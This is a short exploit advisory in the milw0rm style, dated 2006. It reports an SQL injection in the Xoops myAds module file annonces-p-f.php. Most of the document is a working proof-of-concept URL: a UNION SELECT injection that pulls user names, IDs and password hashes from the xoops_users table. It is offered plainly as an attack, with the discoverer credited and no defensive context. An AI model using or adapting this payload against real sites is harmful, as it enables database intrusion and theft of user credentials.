22 lines
No EOL
732 B
Text
22 lines
No EOL
732 B
Text
#######################################
|
|
# Xoops myAds module SQL-Injection
|
|
# Discovered: KeyCoder <Turkish Coder>
|
|
# Visit : www.grisapka.org
|
|
# Contact: keycoder@msn.com
|
|
# Thanx: SecretlyX-BeLa
|
|
#######################################
|
|
---------------------------------------
|
|
# Details :
|
|
# Xoops myAds module SQL-Injection Vulnerability
|
|
# Website : http://www.xoops.org/
|
|
# Vulnerable File : annonces-p-f.php
|
|
# PoC : http://host/path/modules/myAds/annonces-p-f.php?op=[SQL]
|
|
---------------------------------------
|
|
|
|
Vulnerability:
|
|
|
|
SQL-injection
|
|
|
|
http://www.site.com/modules/myAds/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uid,uname,5,6,7,8,9,10,11,12,13+from+xoops_users+limit+1,1/*
|
|
|
|
# milw0rm.com [2006-06-28] |